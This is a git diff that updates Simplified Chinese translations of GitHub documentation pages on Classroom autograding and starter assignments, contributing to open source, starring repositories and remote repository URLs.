+## 查看和下载自动分级测试的结果
 
-### Download autograding results
+### 下载自动评分结果
 
-You can also download a CSV of your students' autograding scores via the "Download" button. This will generate and download a CSV containing a link to the student's repository, their {% data variables.product.prodname_dotcom %} handle, roster identifier, submission timestamp, and autograding score.
+您也可以通过“Download（下载）”按钮下载学生自动评分的 CSV。 这将生成并下载一个包含学生仓库链接、其 {% data variables.product.prodname_dotcom %} 处理、名册标识、提交时间戳和自动评分的CSV。
 
-!["Download" button selected showing "Download grades highlighted" and an additional option to "Download repositories"](/assets/images/help/classroom/download-grades.png)
+![选择"下载" 按钮会显示"下载成绩突出显示" 和另一个选项"下载仓库"](/assets/images/help/classroom/download-grades.png)
 
-### View individual logs
+### 查看单个日志
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-assignment-in-list %}
-1. To the right of a submission, click **View test**.
-  !["View test" button for an assignment submission](/assets/images/help/classroom/assignments-click-view-test.png)
-1. Review the test output. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+1. 在提交的右侧，请单击 **View test（查看测试）**。 ![用于作业提交的"查看测试"按钮](/assets/images/help/classroom/assignments-click-view-test.png)
+1. 查看测试输出。 更多信息请参阅“[使用工作流程运行日志](/actions/managing-workflow-runs/using-workflow-run-logs)”。
 
-## Further reading
+## 延伸阅读
 
-- [{% data variables.product.prodname_actions %} documentation](/actions)
+- [{% data variables.product.prodname_actions %} 文档](/actions)
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
index 4d3f0a3309..df8f505cf6 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
@@ -1,104 +1,104 @@
 ---
-title: Use the Git and GitHub starter assignment
-intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.'
+title: 使用 Git 和 GitHub 起始作业
+intro: '您可以使用 Git 和 {% data variables.product.company_short %} 起始作业，让学生全面了解 Git 和 {% data variables.product.company_short %} 基础知识。'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment
-shortTitle: Starter assignment
+shortTitle: 入门作业
 ---
 
-The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics.
+Git 和 {% data variables.product.company_short %} 起始作业是一个预制课程，概括了 Git 和 {% data variables.product.company_short %} 的基础知识，并将学生与资源联系起来以了解更多关于具体主题的信息。
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating the starter assignment
+## 创建起始作业
 
-### If there are no existing assignments in the classroom
+### 如果在课堂中没有现有作业
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click  **Use starter assignment**.
+1. 登录 {% data variables.product.prodname_classroom_with_url %}。
+2. 导航到教室。
+3. 在 {% octicon "repo" aria-label="The repo icon" %} **作业** 选项卡中，单击 **Use starter assignment（使用起始作业）**。
 
 <div class="procedural-image-wrapper">
-  <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
+  <img alt="创建第一次作业" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
 </div>
 
-### If there already are existing assignments in the classroom
+### 如果在课堂中已经有现有作业
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner.
+1. 登录 {% data variables.product.prodname_classroom_with_url %}。
+2. 导航到教室。
+3. 在 {% octicon "repo" aria-label="The repo icon" %} **作业** 选项卡中，单击蓝色横幅上的链接。
 
 <div class="procedural-image-wrapper">
-  <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
+  <img alt="“New assignment（新作业）”按钮" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
 </div>
 
-## Setting up the basics for an assignment
+## 设置作业的基本信息
 
-Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+将入门课程导入您的组织，命名您的作业，决定是否分配截止日期，并选择分配仓库的可见性。
 
-- [Prerequisites](#prerequisites)
-- [Creating the starter assignment](#creating-the-starter-assignment)
-  - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom)
-  - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom)
-- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment)
-  - [Importing the assignment](#importing-the-assignment)
-  - [Naming the assignment](#naming-the-assignment)
-  - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-  - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
-- [Inviting students to an assignment](#inviting-students-to-an-assignment)
-- [Next steps](#next-steps)
-- [Further reading](#further-reading)
+- [基本要求](#prerequisites)
+- [创建起始作业](#creating-the-starter-assignment)
+  - [如果在课堂中没有现有作业](#if-there-are-no-existing-assignments-in-the-classroom)
+  - [如果在课堂中已经有现有作业](#if-there-already-are-existing-assignments-in-the-classroom)
+- [设置作业的基本信息](#setting-up-the-basics-for-an-assignment)
+  - [导入作业](#importing-the-assignment)
+  - [命名作业](#naming-the-assignment)
+  - [分配作业的截止时间](#assigning-a-deadline-for-an-assignment)
+  - [选择作业仓库的可见性](#choosing-a-visibility-for-assignment-repositories)
+- [邀请学生参加作业](#inviting-students-to-an-assignment)
+- [后续步骤](#next-steps)
+- [延伸阅读](#further-reading)
 
-### Importing the assignment
+### 导入作业
 
-You first need to import the Git & {% data variables.product.product_name %} starter assignment into your organization.
+您首先需要将 Git 和 {% data variables.product.product_name %} 起始作业导入您的组织。
 
 <div class="procedural-image-wrapper">
-  <img alt="The `Import the assignment` button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
+  <img alt="“导入作业”按钮" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
 </div>
 
-### Naming the assignment
+### 命名作业
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+对于个人作业，{% data variables.product.prodname_classroom %} 使用仓库前缀和学生的 {% data variables.product.product_name %} 用户名对仓库命名。 默认情况下，仓库前缀是作业标题。 例如，如果您对作业 "assignment-1" 命名，学生在 {% data variables.product.product_name %} 上的用户名是 @octocat，则 @octocat 的作业仓库的名称将是 `assignment-1-octocat`。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 分配作业的截止时间
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing a visibility for assignment repositories
+### 选择作业仓库的可见性
 
-The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
+作业的仓库可以是公开或私有的。 如果您使用私有仓库，只有学生可以查看您提供的反馈。 在“Repository visibility（仓库可见性）”下，选择可见性。
 
-When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page.
+完成后，单击 **Continue（继续）**。 {% data variables.product.prodname_classroom %} 将创建作业并将您带到作业页面。
 
 <div class="procedural-image-wrapper">
-  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+  <img alt="“Continue（继续）”按钮" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
 </div>
 
-## Inviting students to an assignment
+## 邀请学生参加作业
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+您可以在作业的 **All students（所有学生）**选项卡中查看学生是否已进入教室或提交作业。 {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="个人作业" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment.
+Git 和 {% data variables.product.company_short %} 起始作业只适用于个别学生，不适用于组。 一旦您创建作业，学生可以开始做作业。
 
-## Next steps
+## 后续步骤
 
-- Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" and "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+- 根据课程定制其他作业。 更多信息请参阅“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”和“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- "[在课堂和研究中使用 {% data variables.product.prodname_dotcom %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
diff --git a/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
index 671697cc51..f99dca057b 100644
--- a/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
+++ b/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Finding ways to contribute to open source on GitHub
-intro: 'You can find ways to contribute to open source projects on {% data variables.product.product_location %} that are relevant to you.'
+title: 寻找在 GitHub 上参与开源项目的方法
+intro: '您可以找到在 {% data variables.product.product_location %} 上参加与您相关的开源项目的方法。'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 redirect_from:
   - /articles/where-can-i-find-open-source-projects-to-work-on
@@ -16,41 +16,42 @@ versions:
   ghec: '*'
 topics:
   - Open Source
-shortTitle: Contribute to open source
+shortTitle: 为开源做贡献
 ---
-## Discovering relevant projects
 
-If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
+## 发现相关项目
 
-If you've been active on {% data variables.product.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe).
+如果有您感兴趣的特定主题，请访问 `github.com/topics/<topic>`。 例如，如果您对机器学习感兴趣，可以通过访问 https://github.com/topics/machine-learning 找到相关的项目和合适的第一个议题。 您可以通过访问[主题](https://github.com/topics)来浏览热门主题。 您还可以搜索与您感兴趣的主题相匹配的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories#search-by-topic)”。
 
-Keep up with recent activity from repositories you watch and people you follow in the "All activity" section of your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+如果您一直活跃在 {% data variables.product.product_location %} 上，可以根据您过去的参与、标星以及在 [Explore](https://github.com/explore) 中的其他活动，为您的项目找到个性化的建议和合适的第一个议题。 您还可以注册 Explore 通讯以根据您的兴趣接收相关电子邮件，了解参与 {% data variables.product.product_name %} 的机会。 要注册，请参阅 [Explore 电子邮件通讯](https://github.com/explore/subscribe)。
+
+在个人仪表板的“All activity（所有活动）”部分中，了解您关注的仓库和人员的最新活动。 更多信息请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Finding good first issues
+## 查找合适的第一个议题
 
-If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute.
+如果您已经知道要参与哪些项目，可通过访问 `github.com/<owner>/<repository>/contribute` 查找该仓库中便于初学者参与的议题。 例如，您可以在 https://github.com/electron/electron/contribute 上找到第一次参与 `electron/electron` 的方法。
 
-## Opening an issue
+## 打开议题
 
-If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines.
+如果在开源项目中遇到漏洞，请检查该漏洞是否已报告。 如果该漏洞尚未报告，您可以根据项目的参与指南开启一个议题来报告该漏洞。
 
-## Validating an issue or pull request
+## 验证议题或拉取请求
 
-There are a variety of ways that you can contribute to open source projects.
+您可以通过多种方式为开源项目做出贡献。
 
-### Reproducing a reported bug
-You can contribute to an open source project by validating an issue or adding additional context to an existing issue. 
+### 重现报告的漏洞
+您可以通过验证议题或为现有议题添加额外上下文来为开源项目做出贡献。
 
-### Testing a pull request
-You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request.
+### 测试拉取请求
+您可以通过将拉取请求合并到项目的本地副本中并测试更改来为开源项目做出贡献。 在对拉取请求的评论中添加测试结果。
 
-### Updating issues
-You can contribute to an open source project by adding additional information to existing issues.
+### 更新议题
+您可以通过向现有议题添加额外信息来为开源项目做出贡献。
 
 
-## Further reading
+## 延伸阅读
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- "[使用主题对仓库分类](/articles/classifying-your-repository-with-topics)"
+- "[关于组织仪表板](/articles/about-your-organization-dashboard)"
diff --git a/translations/zh-CN/content/get-started/exploring-projects-on-github/index.md b/translations/zh-CN/content/get-started/exploring-projects-on-github/index.md
index 35476b39db..f8c4415a77 100644
--- a/translations/zh-CN/content/get-started/exploring-projects-on-github/index.md
+++ b/translations/zh-CN/content/get-started/exploring-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Exploring projects on GitHub
-intro: 'Discover interesting projects on {% data variables.product.product_name %} and contribute to open source by collaborating with other people.'
+title: 在 GitHub 上探索项目
+intro: '在 {% data variables.product.product_name %} 上发现有趣的项目，并与其他人合作为开源做贡献。'
 redirect_from:
   - /categories/stars
   - /categories/87/articles
@@ -18,6 +18,6 @@ children:
   - /finding-ways-to-contribute-to-open-source-on-github
   - /saving-repositories-with-stars
   - /following-people
-shortTitle: Explore projects
+shortTitle: 探索项目
 ---
 
diff --git a/translations/zh-CN/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/zh-CN/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
index 6f823e3ea2..528e484bc3 100644
--- a/translations/zh-CN/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
+++ b/translations/zh-CN/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
@@ -1,6 +1,6 @@
 ---
-title: Saving repositories with stars
-intro: 'You can star repositories and topics to keep track of projects you find interesting{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}.'
+title: 使用星标保存仓库
+intro: '您可以对仓库和主题标星以跟踪您感兴趣的项目{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}。'
 redirect_from:
   - /articles/stars
   - /articles/about-stars
@@ -16,29 +16,28 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Save repos with stars
+shortTitle: 保存有星标的仓库
 ---
-You can search, sort, and filter your starred repositories and topics on your {% data variables.explore.your_stars_page %}.
 
-## About stars
+您可以在 {% data variables.explore.your_stars_page %} 上搜索、排序和筛选星标仓库和主题。'
 
-Starring makes it easy to find a repository or topic again later. You can see all the repositories and topics you have starred by going to your {% data variables.explore.your_stars_page %}.
+## 关于星标
+
+标星操作便于以后再次找到仓库或主题。 您可以到 {% data variables.explore.your_stars_page %} 查看已经加星标的所有仓库和主题。
 
 {% ifversion fpt or ghec %}
-You can star repositories and topics to discover similar projects on {% data variables.product.product_name %}. When you star repositories or topics, {% data variables.product.product_name %} may recommend related content in the discovery view of your news feed. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
+您可以对仓库和主题加星标以在 {% data variables.product.product_name %} 上发现类似的项目。 对仓库或主题加星标时，{% data variables.product.product_name %} 可能会在消息馈送的发现视图中推荐相关内容。 更多信息请参阅“[寻找在 {% data variables.product.prodname_dotcom %} 上参与开源项目的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。
 {% endif %}
 
-Starring a repository also shows appreciation to the repository maintainer for their work. Many of {% data variables.product.prodname_dotcom %}'s repository rankings depend on the number of stars a repository has. In addition, [Explore](https://github.com/explore) shows popular repositories based on the number of stars they have.
+对仓库加星标也可表示赞赏仓库维护员的工作。 许多 {% data variables.product.prodname_dotcom %} 的仓库评级取决于仓库拥有的星标数。 此外，[Explore](https://github.com/explore) 也会根据星标数显示最受欢迎的仓库。
 
-## Starring a repository
+## 对仓库标星
 
-Starring a repository is a simple two-step process.
+对仓库标星是一个简单的两步过程。
 
 {% data reusables.repositories.navigate-to-repo %}
-1. In the top-right corner of the page, click **Star**.
-![Starring a repository](/assets/images/help/stars/starring-a-repository.png)
-1. Optionally, to unstar a previously starred repository, click **Unstar**.
-![Untarring a repository](/assets/images/help/stars/unstarring-a-repository.png)
+1. 在页面的右上角，单击 **Star（星标）**。 ![对仓库标星](/assets/images/help/stars/starring-a-repository.png)
+1. （可选）要取消先前已标星仓库的星标，请点击 **Unstar（取消星标）**。 ![解压仓库](/assets/images/help/stars/unstarring-a-repository.png)
 
 {% ifversion fpt or ghec %}
 ## Organizing starred repositories with lists
@@ -55,7 +54,7 @@ If you add a private repository to a list, then the private repository will only
 
 ![Screenshot of lists on stars page](/assets/images/help/stars/lists-overview-on-stars-page.png)
 
-You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories. 
+You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories.
 
 ![Screenshot of "Star" dropdown menu with list options featured from the repository page](/assets/images/help/stars/stars-dropdown-on-repo.png)
 
@@ -64,66 +63,55 @@ You can add a repository to an existing or new list wherever you see a repositor
 ### Creating a list
 
 {% data reusables.stars.stars-page-navigation %}
-2. Next to "Lists", click **Create list**.
-  ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
-3. Enter a name and description for your list and click **Create**.
-  ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
+2. Next to "Lists", click **Create list**. ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
+3. Enter a name and description for your list and click **Create**. ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
 
 ### Adding a repository to a list
 
 {% data reusables.stars.stars-page-navigation %}
-2. Find the repository you want to add to your list.
-  ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
-3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list.
-  ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Find the repository you want to add to your list. ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
+3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list. ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
 
 ### Removing a repository from your list
 
 {% data reusables.stars.stars-page-navigation %}
 2. Select your list.
-3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list.
-  ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list. ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
 
 ### Editing a list name or description
 
 {% data reusables.stars.stars-page-navigation %}
 1. Select the list you want to edit.
 2. Click **Edit list**.
-3. Update the name or description and click **Save list**.
-  ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png) 
+3. Update the name or description and click **Save list**. ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png)
 
 ### Deleting a list
 
 {% data reusables.stars.stars-page-navigation %}
 2. Select the list you want to delete.
-3. Click **Delete list**.
-  ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
+3. Click **Delete list**. ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
 4. To confirm, click **Delete**.
 
 {% endif %}
 
 ## Searching starred repositories and topics
 
-You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred. 
+您可以使用 {% data variables.explore.your_stars_page %} 上的搜索栏快速查找您标星的仓库和主题。
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. Use the search bar to find your starred repositories or topics by their name.
-![Searching through stars](/assets/images/help/stars/stars_search_bar.png)
+1. 转到您的 {% data variables.explore.your_stars_page %}。
+1. 使用搜索栏按名称查找您标星的仓库或主题。 ![搜索星标](/assets/images/help/stars/stars_search_bar.png)
 
-The search bar only searches based on the name of a repository or topic, and not on any other qualifiers (such as the size of the repository or when it was last updated).
+搜索栏只能根据仓库或主题名称搜索，而不能根据任何其他限定符（如仓库大小或上次更新时间）搜索。
 
 ## Sorting and filtering stars on your stars page
 
-You can use sorting or filtering to customize how you see starred repositories and topics on your stars page.
+您可以使用排序或筛选来自定义您如何在星标页面上查看标星的仓库和主题。
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. To sort stars, select the **Sort** drop-down menu, then select **Recently starred**, **Recently active**, or **Most stars**.
-![Sorting stars](/assets/images/help/stars/stars_sort_menu.png)
-1. To filter your list of stars based on their language, click on the desired language under **Filter by languages**.
-![Filter stars by language](/assets/images/help/stars/stars_filter_language.png)
-1. To filter your list of stars based on repository or topic, click on the desired option.
-![Filter stars by topic](/assets/images/help/stars/stars_filter_topic.png)
+1. 转到您的 {% data variables.explore.your_stars_page %}。
+1. 要对星标排序，选择 **Sort（排序）**下拉菜单，然后选择 **Recently starred（最近标星）**、**Recently active（最近活跃）**或 **Most stars（最多星标）**。 ![排序星标](/assets/images/help/stars/stars_sort_menu.png)
+1. 要根据星标的语言筛选星标名单，请单击“**Filter by languages（按语言筛选）**下所需的语言。 ![按语言过滤星标](/assets/images/help/stars/stars_filter_language.png)
+1. 要根据仓库或主题筛选您的星标列表，请单击所需的选项。 ![按主题筛选星标](/assets/images/help/stars/stars_filter_topic.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
+- "[使用主题对仓库分类](/articles/classifying-your-repository-with-topics)"
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/zh-CN/content/get-started/getting-started-with-git/about-remote-repositories.md
index 78b6642b52..b6e5e08b04 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/about-remote-repositories.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/about-remote-repositories.md
@@ -1,5 +1,5 @@
 ---
-title: About remote repositories
+title: 关于远程仓库
 redirect_from:
   - /articles/working-when-github-goes-down
   - /articles/sharing-repositories-without-github
@@ -10,89 +10,89 @@ redirect_from:
   - /github/using-git/about-remote-repositories
   - /github/getting-started-with-github/about-remote-repositories
   - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories
-intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update.'
+intro: 'GitHub 的协作开发方法取决于从您的本地仓库发布提交到 {% data variables.product.product_name %}，以供其他人查看、提取和更新。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About remote repositories
 
-A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
+## 关于远程仓库
 
-You can only push to two types of URL addresses:
+远程 URL 是 Git 一种指示“您的代码存储位置”的绝佳方式。 该 URL 可能是您在 GitHub 上的仓库，也可以是另一个用户的复刻，甚至在完全不同的服务器上。
 
-* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git`
-* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git`
+您只能推送到两类 URL 地址：
 
-Git associates a remote URL with a name, and your default remote is usually called `origin`.
+* HTTPS URL，如 `https://{% data variables.command_line.backticks %}/user/repo.git`
+* SSH URL，如 `git@{% data variables.command_line.backticks %}:user/repo.git`
 
-## Creating remote repositories
+Git 将远程 URL 与名称相关联，您的默认远程通常名为 `origin`。
 
-You can use the `git remote add` command to match a remote URL with a name.
-For example, you'd type the following in the command line:
+## 创建远程仓库
+
+您可以使用 `git remote add` 命令将远程 URL 与名称匹配。 例如，在命令行中输入以下命令：
 
 ```shell
 git remote add origin <em> &lt;REMOTE_URL> </em>
 ```
 
-This associates the name `origin` with the `REMOTE_URL`.
+这会将名称 `origin` 与 `REMOTE_URL` 关联。
 
-You can use the command `git remote set-url` to [change a remote's URL](/github/getting-started-with-github/managing-remote-repositories).
+您可以使用命令 `git remote set-url` 来[更改远程 URL](/github/getting-started-with-github/managing-remote-repositories)。
 
-## Choosing a URL for your remote repository
+## 选择远程仓库的 URL
 
-There are several ways to clone repositories available on {% data variables.product.product_location %}.
+克隆 {% data variables.product.product_location %} 上的仓库有几种方法。
 
-When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details.
+当您登录到帐户查看仓库时，可以用于将项目克隆到计算机上的 URL 在仓库详细信息下方提供。
 
-For information on setting or changing your remote URL, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+有关设置或更改远程 URL 的信息，请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。
 
-## Cloning with HTTPS URLs
+## 使用 HTTPS URL 克隆
 
-The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy.
+`https://` 克隆 URL 在所有仓库中提供，与可见性无关。 即使您在防火墙或代理后面，`https://` 克隆 URL 也有效。
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+当您在命令行中使用 HTTPS URL 对远程仓库执行 `git clone`、`git fetch`、`git pull` 或 `git push` 命令时，Git 将要求您输入 {% data variables.product.product_name %} 用户名和密码。 {% data reusables.user_settings.password-authentication-deprecation %}
 
 {% data reusables.command_line.provide-an-access-token %}
 
 {% tip %}
 
-**Tips**:
-- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
-- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+**提示**：
+- 您可以使用凭据小助手，让 Git 在每次与 {% data variables.product.prodname_dotcom %} 通信时记住您的 {% data variables.product.prodname_dotcom %} 凭据。 更多信息请参阅“[在 Git 中缓存 {% data variables.product.prodname_dotcom %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git)”。
+- 要克隆仓库而不在命令行中对 {% data variables.product.product_name %} 进行身份验证，您可以使用 {% data variables.product.prodname_desktop %} 进行克隆。 更多信息请参阅“[将仓库从 {% data variables.product.prodname_dotcom %} 克隆到 {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)”。
 
 {% endtip %}
 
- {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %}
